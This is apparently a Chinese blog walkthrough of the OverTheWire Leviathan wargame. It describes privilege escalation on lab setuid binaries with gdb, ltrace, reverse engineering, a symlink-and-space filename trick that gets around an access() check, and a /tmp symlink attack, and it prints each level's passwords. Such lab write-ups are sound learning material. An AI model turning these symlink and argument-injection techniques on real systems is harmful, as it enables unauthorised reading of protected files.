Level 0
登录以后发现空空如也,提示也刻意没有
顺手find一下,发现有很多隐藏文件
leviathan0@leviathan:~$ find
.
./.cache
./.cache/motd.legal-displayed
./.profile
./.bashrc
./.bash_logout
./.backup
./.backup/bookmarks.html
前面几个都是初始化/收尾的脚本,backup里的html很大,grep一下试试
leviathan0@leviathan:~$ grep leviathan ./.backup/bookmarks.html
<DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password for leviathan1 is rioGegei8m" ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1</A>
Level 2
本关也没有提示
目录下有一个check,cat一下发现是ELF文件,执行要求输入password
那么很明显,这是个逆向关了
老本行啊,不过在linux下只能使用gdb了(要是拖回来IDA就秒解了
正好学习一下,查了半天gdb的指令
objdump -d check > d.txt
可以反汇编出汇编代码
在gdb中disas main也可以查看main函数的汇编代码,发现了很熟悉的东西:
0x0804857a <+77>: call 0x80483c0 <printf@plt>//提示输入password
0x0804857f <+82>: call 0x80483d0 <getchar@plt>
0x08048584 <+87>: mov %al,0x14(%esp)
0x08048588 <+91>: call 0x80483d0 <getchar@plt>
0x0804858d <+96>: mov %al,0x15(%esp)
0x08048591 <+100>: call 0x80483d0 <getchar@plt>//接收三个字符的输入
0x08048596 <+105>: mov %al,0x16(%esp)
0x0804859a <+109>: movb $0x0,0x17(%esp)
0x0804859f <+114>: lea 0x18(%esp),%eax
0x080485a3 <+118>: mov %eax,0x4(%esp)
0x080485a7 <+122>: lea 0x14(%esp),%eax
0x080485ab <+126>: mov %eax,(%esp)
0x080485ae <+129>: call 0x80483b0 <strcmp@plt>//字符串比较
0x080485b3 <+134>: test %eax,%eax
0x080485b5 <+136>: jne 0x80485c5 <main+152>
很明显这个函数是最简单的接收字符串与给定内容进行比较,那么在strcmp处下断,查看一下两个变量吧
break strcmp
断住以后随便输入password(建议输入易辨识的字符串,方便之后查找,比方说我输入的“123”,ASCII码是333231)
到达断点
info registers 查看寄存器信息
(gdb) info registers
eax 0xffffd704 -10492
ecx 0xf7fcd8a4 -134424412
edx 0x33 51
ebx 0xf7fcc000 -134430720
esp 0xffffd6ec 0xffffd6ec
ebp 0xffffd728 0xffffd728
esi 0x0 0
edi 0x0 0
eip 0xf7e9cb80 0xf7e9cb80
eflags 0x246 [ PF ZF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) x 0xffffd704
0xffffd704: 0x00333231//找到输入的地方了,但其他几个寄存器没有想要的东西,再看看堆栈
(gdb) x/8x $sp
0xffffd6ec: 0x080485b3 0xffffd704 0xffffd708 0x0804a000
0xffffd6fc: 0x08048642 0x00000001 0x00333231 0x00786573
//第一个查看以后发现也不是,第二个是我们输入的字符串,那么第三个就很有可能了
(gdb) x 0xffffd708
0xffffd708: 0x00786573//对照ASCII码,发现是"sex"
退出以后重新执行:
leviathan1@leviathan:~$ ./check
password: sex
$ whoami#密码正确以后进入了shell,查询一下发现提权了
leviathan2
$ cat /etc/leviathan_pass/leviathan2
ougahZi8Ta
PS:还有更简单的方法:ltrace 函数追踪命令
可以直接显示调用函数和它的参数
Level 2
只有一个printfile文件,查看权限发现它由leviathan3创建且具有s权限,也就是说可以通过这个文件读leviathan3权限的文件
运行试试:
leviathan2@leviathan:~$ ./printfile /etc/leviathan_pass/leviathan3
You cant have that file...
反编译看看://终于还是走上了拖到本地用IDA的道路,GDB实在太难用了
access是测试权限的函数,mode=4表示可读权限
也就是说这个文件实际上是先测试本用户(leviathan2)是否有该文件的可读权限,确认后用leviathan3权限读该文件
思路很明显是先要绕过access函数,然后再执行cat命令查看密码
我先是想用gdb在通过access判断后修改内存达到执行cat的目的,可惜直接提示权限不够;确认了一下,gdb的附加会使得s权限失效
然后想能否修改该文件的汇编,不过没有可写权限所以肯定不行
无奈看wp,发现问题在于cat命令的漏洞:当文件名中包含空格时会将前后当做两个文件来读
试了一下发现无法直接把‘/’包含在文件名中,会使得touch,vi等命令将其认为是路径
这里需要使用ln -s软连接(相当于快捷方式)
leviathan2@leviathan:~$ ln -s /etc/leviathan_pass/leviathan3 /home/leviathan2/a
当前目录下就生成了一个指向leviathan3的快捷方式a
再创建一个文件名包含空格的文件,作为参数即可:
leviathan2@leviathan:~$ touch a\ b
leviathan2@leviathan:~$ ./printfile a\ b
Ahdiemoo1j
/bin/cat: b: No such file or directory
执行过程为:
判断leviathan2有“a b”的可读权限,送入cat的参数进行执行
“cat a b”被理解成cat a,cat b从而读出password
PS:有点好奇这个漏洞,就又去研究了一下:
直接执行cat a\ b不会触发漏洞,这与bandit某一关所实验过的相同
但为什么在文件中调用就会触发呢:问题在于中间调用了格式化字符串
%s使得’\ ‘被直接认为是’ ‘而送入buff,最终作为cat的参数而出错
Level 3
这题跟Level2不是一样么……
得到level3文件,运行发现要输入password,使用ltrace命令跟踪:
leviathan3@leviathan:~$ ltrace ./level3
__libc_start_main(0x80485fe, 1, 0xffffd804, 0x80486d0 <unfinished ...>
strcmp("h0no33", "kakaka") = -1
printf("Enter the password> ") = 20
fgets(Enter the password> 123
"123\n", 256, 0xf7fccc20) = 0xffffd5fc
strcmp("123\n", "snlprintf\n") = -1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
) = 19
+++ exited (status 0) +++
发现输入的123和snlprintf进行了比较,重新输入即可得到leviathan4的shell
$ whoami
leviathan4
$ cat /etc/leviathan_pass/leviathan4
vuH0coox6m
注意:在ltrace附加下运行得到的shell仍然是leviathan3的,需要重新运行
Level 4
文件由被隐藏了,这次是.trash文件夹
查询得知相当于回收站,里面有一个bin文件,执行会吐出一串二进制
ltrace执行一下,发现执行了fopen函数打开了leviathan5的password
那估计二进制就是password的ASCII了,保险起见拖下来反编译,验证无误
python脚本跑一下即可还原
Tith4cokei
Level 5
这次leviathan5,依然是elf文件
跟踪一下发现fopen了/tmp/file.log,创建一个文件给他,然后就没有反馈了
ltrace显示调用了fget,unlink函数,前一个读文件内容,后一个删除该文件(PS:过河拆桥闹哪样啊)
拖下来IDA反编译发现它只是读file.log文件并输出,完了就删除
虽然它的目标是写死的,但是还可以通过快捷方式搞定呀
创建软连接并运行:
leviathan5@leviathan:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
leviathan5@leviathan:~$ ./leviathan5
UgaoFee4li
Level 6
运行显示需要一个四位数字的参数,随便输入一个提示Wrong
差点以为跟昨天那个一样,最后一关都要爆破呢
突然想起来这是exe啊,文件在本地啊,直接逆向啊
先ltrace,显示调用了atoi函数(将字符串转化为整数,即StrToInt),没有有用的
那就拖下来:
嗯……有一种作弊的感觉是怎么回事
输入7123,得到shell,cat password:ahy7MaeBo9
Level 7
Congratulations
官方让请不要提交WriteUp
然而我个人觉得有些东西自己苦思冥想都解决不了的不如直接看WriteUp,像cat的漏洞和软连接我确实根本没头绪也不知从何查起啊(:з」∠)练习和学到知识才是重点嘛